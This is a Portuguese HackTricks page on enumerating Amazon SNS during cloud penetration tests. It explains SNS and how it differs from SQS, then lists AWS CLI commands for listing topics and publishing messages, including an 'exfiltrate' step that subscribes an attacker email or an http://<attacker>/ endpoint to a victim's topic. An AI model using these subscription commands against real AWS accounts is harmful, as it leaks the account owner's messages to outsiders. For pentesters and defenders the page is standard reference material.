AWS - SNS Enum

Suporte HackTricks

SNS

Amazon Simple Notification Service (Amazon SNS) é descrito como um serviço de mensagens totalmente gerenciado. Ele suporta tanto a comunicação aplicação-para-aplicação (A2A) quanto aplicação-para-pessoa (A2P).

As principais características para a comunicação A2A incluem mecanismos de publicação/assinatura (pub/sub). Esses mecanismos introduzem tópicos, cruciais para permitir mensagens push de alta taxa de transferência e muitos-para-muitos. Esse recurso é altamente vantajoso em cenários que envolvem sistemas distribuídos, microsserviços e arquiteturas serverless orientadas a eventos. Ao aproveitar esses tópicos, sistemas publicadores podem distribuir mensagens de forma eficiente para uma ampla gama de sistemas assinantes, facilitando um padrão de mensagens fanout.

Diferença com SQS

SQS é um serviço baseado em fila que permite comunicação ponto-a-ponto, garantindo que as mensagens sejam processadas por um único consumidor. Ele oferece entrega pelo menos uma vez, suporta filas padrão e FIFO, e permite retenção de mensagens para tentativas e processamento atrasado. Por outro lado, SNS é um serviço baseado em publicação/assinatura, permitindo comunicação um-para-muitos ao transmitir mensagens para múltiplos assinantes simultaneamente. Ele suporta vários endpoints de assinatura como email, SMS, funções Lambda e HTTP/HTTPS, e fornece mecanismos de filtragem para entrega de mensagens direcionadas. Enquanto ambos os serviços permitem o desacoplamento entre componentes em sistemas distribuídos, SQS foca na comunicação em fila, e SNS enfatiza padrões de comunicação orientados a eventos e fan-out.

Enumeração

# Get topics & subscriptions
aws sns list-topics
aws sns list-subscriptions
aws sns list-subscriptions-by-topic --topic-arn <arn>

# Check privescs & post-exploitation
aws sns publish --region <region> \
--topic-arn "arn:aws:sns:us-west-2:123456789012:my-topic" \
--message file://message.txt

# Exfiltrate through email
## You will receive an email to confirm the subscription
aws sns subscribe --region <region> \
--topic-arn arn:aws:sns:us-west-2:123456789012:my-topic \
--protocol email \
--notification-endpoint my-email@example.com

# Exfiltrate through web server
## You will receive an initial request with a URL in the field "SubscribeURL"
## that you need to access to confirm the subscription
aws sns subscribe --region <region>\
--protocol http \
--notification-endpoint http://<attacker>/ \
--topic-arn <arn>

Note que se o tópico for do tipo FIFO, apenas assinantes usando o protocolo SQS podem ser usados (HTTP ou HTTPS não podem ser usados).

Além disso, mesmo que o --topic-arn contenha a região, certifique-se de especificar a região correta em --region ou você receberá um erro que parece indicar que você não tem acesso, mas o problema é a região.

Acesso Não Autenticado

AWS - SNS Unauthenticated Enum

Escalação de Privilégios

AWS - SNS Privesc

Pós-Exploração

AWS - SNS Post Exploitation

Persistência

AWS - SNS Persistence

Referências

Suporte ao HackTricks

Last updated